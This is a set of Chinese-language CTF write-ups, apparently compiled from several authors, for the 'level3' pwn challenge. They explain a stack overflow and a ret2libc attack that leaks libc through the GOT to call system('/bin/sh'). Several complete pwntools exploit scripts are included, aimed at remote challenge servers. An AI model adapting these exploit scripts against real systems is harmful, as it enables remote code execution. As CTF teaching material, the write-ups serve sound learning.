undefined -00000061 db ? ; undefined -00000060 db ? ; undefined -0000005F db ? ; undefined -0000005E db ? ; undefined -0000005D db ? ; undefined -0000005C db ? ; undefined -0000005B db ? ; undefined -0000005A db ? ; undefined -00000059 db ? ; undefined -00000058 db ? ; undefined -00000057 db ? ; undefined -00000056 db ? ; undefined -00000055 db ? ; undefined -00000054 db ? ; undefined -00000053 db ? ; undefined -00000052 db ? ; undefined -00000051 db ? ; undefined -00000050 db ? ; undefined -0000004F db ? ; undefined -0000004E db ? ; undefined -0000004D db ? ; undefined -0000004C db ? ; undefined -0000004B db ? ; undefined -0000004A db ? ; undefined -00000049 db ? ; undefined -00000048 db ? ; undefined -00000047 db ? ; undefined -00000046 db ? ; undefined -00000045 db ? ; undefined -00000044 db ? ; undefined -00000043 db ? ; undefined -00000042 db ? ; undefined -00000041 db ? ; undefined -00000040 db ? ; undefined -0000003F db ? ; undefined -0000003E db ? ; undefined -0000003D db ? ; undefined -0000003C db ? ; undefined -0000003B db ? ; undefined -0000003A db ? ; undefined -00000039 db ? ; undefined -00000038 db ? ; undefined -00000037 db ? ; undefined -00000036 db ? ; undefined -00000035 db ? ; undefined -00000034 db ? ; undefined -00000033 db ? ; undefined -00000032 db ? ; undefined -00000031 db ? ; undefined -00000030 db ? ; undefined -0000002F db ? ; undefined -0000002E db ? ; undefined -0000002D db ? ; undefined -0000002C db ? ; undefined -0000002B db ? ; undefined -0000002A db ? ; undefined -00000029 db ? ; undefined -00000028 db ? ; undefined -00000027 db ? ; undefined -00000026 db ? ; undefined -00000025 db ? ; undefined -00000024 db ? ; undefined -00000023 db ? ; undefined -00000022 db ? ; undefined -00000021 db ? ; undefined -00000020 db ? ; undefined -0000001F db ? ; undefined -0000001E db ? ; undefined -0000001D db ? ; undefined -0000001C db ? ; undefined -0000001B db ? ; undefined -0000001A db ? ; undefined -00000019 db ? ; undefined -00000018 db ? ; undefined -00000017 db ? ; undefined -00000016 db ? ; undefined -00000015 db ? ; undefined -00000014 db ? ; undefined -00000013 db ? ; undefined -00000012 db ? ; undefined -00000011 db ? ; undefined -00000010 db ? ; undefined -0000000F db ? ; undefined -0000000E db ? ; undefined -0000000D db ? ; undefined -0000000C db ? ; undefined -0000000B db ? ; undefined -0000000A db ? ; undefined -00000009 db ? ; undefined -00000008 db ? ; undefined -00000007 db ? ; undefined -00000006 db ? ; undefined -00000005 db ? ; undefined -00000004 db ? ; undefined -00000003 db ? ; undefined -00000002 db ? ; undefined -00000001 db ? ; undefined +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) # 覆盖这个地址就可以修改函数调用了
-
将各部分结合起来,脚本攻击。解说见后面一份程序:
from pwn import * p = remote('220.249.52.133', 54407) elf = ELF('./level3') lib = ELF('./libc_32.so.6') payload = (0x88+4)*'a'+p32(elf.plt['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['read'])+p32(8) p.recvuntil('Input:\n') p.sendline(payload) read_addr = u32(p.recv()[:4]) bin_cha = int(0x0015902b-lib.symbols['read']) bin_addr = read_addr + bin_cha sys_cha = int(lib.symbols['system']-lib.symbols['read']) sys_addr = read_addr + sys_cha p.recvuntil('Input:\n') payload1 = (0x88+4)*'a'+p32(sys_addr)+p32(1)+p32(bin_addr) #system函数地址,返回地址1,/bin/sh地址作为system参数传入 p.sendline(payload1) p.interactive()
其他做法:把libc_32.so.6拖进ida,可以找到write函数和system函数的偏移:
寻找"/bin/sh"(用winhex也可以找到)
write.plt和main.pltt可以在ida中找到
除了这些以外,我还从别人的wp中学到了方法,如下
from pwn import *
from LibcSeacher import *
p=remote('111.198.29.45',47340)
elf=ELF('./level3')
libc=ELF('./libc_32.so.6')
#write_plt=0x08048340
write_plt=elf.plt['write']
write_got=elf.got['write']
#main_addr=0x08048484
main_addr=elf.symbols['main']
#填充字符+write函数地址+main函数地址+write函数的三个参数,效果:也就是运行write让其输出write的got地址后,又回到main函数
payload1='a' * 0x8c + p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendlineafter("Input:\n",payload1)
#接收write函数在got表中的地址
write_real=u32(p.recv()[:4])
#system_off=0x3a940
system_off=libc.symbols['system']
#bin_off=0x15902b
bin_off=libc.search('/bin/sh').next()
#write_off=0xd43c0
write_off=libc.symbols['write']
#计算基地址
lib_addr=write_real-write_off
#计算system地址
system_addr=lib_addr+system_off
#计算'/bin/sh'地址
bin_addr=lib_addr+bin_off
#填充字符+system地址+这里不用考虑,随意填充4个字节+'/bin/sh'地址
payload2='a'*0x8c+p32(system_addr)+'aaaa'+p32(bin_addr)
p.sendline(payload2)
p.interactive()
flag:cyberpeace{e808c04302e73cdc5159eef2dcd92f48}#-*-coding:utf-8-*- from pwn import * p = process("./level3") #p = remote("111.198.29.45","36722") elf = ELF("./level3") libc = ELF("/lib32/libc.so.6") #libc = ELF("./libc_32.so.6") write_plt = elf.plt["write"] print("write_plt: " + hex(write_plt)) write_got = elf.got["__libc_start_main"] print("write_got: " + hex(write_got)) libc_main = libc.symbols["__libc_start_main"] print("write_libc: " + hex(libc_main)) system_libc = libc.symbols["system"] print("system_libc: " + hex(system_libc)) vulnfun = 0x804844B p.recv() payload = 140*b"a" + p32(write_plt) + p32(vulnfun) payload += p32(1) + p32(write_got) + p32(4) #write(1,write_got,4) p.sendline(payload) write_addr = u32(p.recv(4)) print("write_addr: " + hex(write_addr)) pause() offset = write_addr - libc_main system_addr = offset + system_libc binsh = next(libc.search(b"/bin/sh")) binsh_addr = offset + binsh print("binsh_addr: " + hex(binsh_addr)) payload = 140*b"a" + p32(system_addr) + p32(vulnfun) + p32(binsh_addr) p.sendline(payload) p.interactive()
(3) 题目小结
这个题目可以说是基础ROP的入门,通过控制返回地址进行多重跳,很有进阶的意义。
(4) 参考文章
Writeup of level3(Pwn) in JarvisOJ
聊聊Linux动态链接中的PLT和GOT(1)——何谓PLT与GOT
0x3 总结
这次这几个题目做了2.3天,感觉收获还是挺大的,其中很感谢一些师傅回答我比较傻的问题,一语惊醒梦中人,期间我也看了网上很多wp,基本都是雷同或者草草了事的,很少有那种新手摸索的过程,因为本人是个菜鸡,难免会有疏漏,希望各位师傅多多包容,然后指出,让我更加深pwn的理解,谢谢。
0x4参考链接
补:
WriteUp-adworld(攻防世界)-pwn新手区-level3
0xFF 解开压缩包……
3个嵌套压缩包解开后出来两个文件:
level3
libc_32.so.6
0x00 查询文件基本信息
checksec 发现 : 这是个三无软件……
好…… 我们丢下DIE:
32位程序……
没有壳……可以上IDA。
0x01 静态分析
看到main:
跟进vulnerable_function
程序逻辑简单明了……
0x02 攻击思路
看到read可以进行栈溢出攻击……
考虑劫持eip执行system("/bin/sh")……
等等,这个程序里既没有调用system又没有"/bin/sh"字符串。
但是这个程序加载了一个共享库: libc_32.so.6
0x03 分析共享库 : libc_32.so.6
找到system() !
找到"/bin/sh" !
使用010Editor搜索
("/bin/sh"后面刚好有个0x00)
"/bin/sh" 相对libc_32.so.6
文件头的偏移为 0x15902B (IDA相应地方是代码qwq……)
system 相对libc_32.so.6
文件头的偏移为 0x3A940
所以我们只要想办法知道 libc_32.so.6 的地址
我们就可以成功获取shell……
0x04 泄露 libc_32.so.6 的地址
write 是 level3
调用的外部(共享库中的)函数。
我们可以尝试泄露 level3 GOT 表中的内容来
获取 write 在共享库中的地址。
GOT中 write 对应的条目 在第一次调用 write 函数时会被动态链接器改为
write 的绝对地址
/*操作系统-Linux-浅析GOT与PLT */
可以尝试利用栈溢出来调用write(劫持eip到write)
/需要的eip位置/
我们write泄露出地址之后还不够,还要通过这个地址调用 system()
才行。
所以我们可以把返回的地址(call的时候eip入栈)
回到vulnerable_function的开头,这样我们就可以在泄露write之后
调用system()
所以我们可以这样
根据vulnerable_function的栈
这样构造payload来泄露write:
from pwn import *
write_addr_in_level3 = p32(0x08048340)
vulnerable_function_addr = p32(0x0804844B)
leak_write_payload1 = "w"*0x88 + p32(0xa5c0ffee) + write_addr_in_level3 + vulnerable_function_addr
# padding ebp 劫持eip要到的位置 调用write后返回的地址
write_got_addr = p32(0x0804A018)
leak_write_payload2 = p32(1) + write_got_addr + p32(0xa5c0ffee)
# write 的参数传递 1:stdout 指针指向write的got条目 输出的长度
得到write的地址后就可以根据write在libc_32.so.6中的地址计算出
libc_32.so.6的基址,接着就可以计算出system()与"/bin/sh"的绝对地址了。
接着我们就可以生成第二次攻击的payload:
write_addr_in_lib = get_write_addr()
write_offset_in_lib = 0x000D43C0
lib_addr = write_addr_in_lib - write_offset_in_lib
binsh_offset_in_lib = 0x15902B
binsh_addr_in_lib = lib_addr + binsh_offset_in_lib
system_offset_in_lib = 0x3A940
system_addr_in_lib = lib_addr + system_offset_in_lib
pwn_payload = "w"*0x88 + p32(0xACC0FFEE) + p32(system_addr_in_lib) + p32(0xACC0FFEE) + p32(binsh_addr_in_lib)
# padding ebp 劫持eip要到的位置 (system) 返回的地址(随便填qwq) 传入"/bin/sh" 当作参数
现在就可以写出完整的exp了:
#coding=utf-8
#文件里有中文注释,要指定编码
from pwn import *
qwq = remote("111.198.29.45", 7777)
# ip port
write_got_addr = p32(0x0804A018)
write_addr_in_level3 = p32(0x08048340)
vulnerable_function_addr = p32(0x0804844B)
leak_write_payload1 = "w"*0x88 + p32(0xACC0FFEE) + write_addr_in_level3 + vulnerable_function_addr
# padding ebp 劫持eip要到的位置 调用write后返回的地址
leak_write_payload2 = p32(1) + write_got_addr + p32(0xACC0FFEE)
# write 的参数传递 1:stdout 指针指向write的got条目 输出的长度
leak_write_payload = leak_write_payload1 + leak_write_payload2
def get_write_addr():
qwq.recvline()
qwq.sendline(leak_write_payload)
addr = qwq.recv()[0:4]
return u32(addr)
write_addr_in_lib = get_write_addr()
write_offset_in_lib = 0x000D43C0
lib_addr = write_addr_in_lib - write_offset_in_lib
binsh_offset_in_lib = 0x15902B
binsh_addr_in_lib = lib_addr + binsh_offset_in_lib
system_offset_in_lib = 0x3A940
system_addr_in_lib = lib_addr + system_offset_in_lib
pwn_payload = "w"*0x88 + p32(0xACC0FFEE) + p32(system_addr_in_lib) + p32(0xACC0FFEE) + p32(binsh_addr_in_lib)
# padding ebp 劫持eip要到的位置 (system) 返回的地址(随便填qwq) 传入"/bin/sh" 当作参数
qwq.recvline()
qwq.sendline(pwn_payload)
qwq.interactive()
看看效果: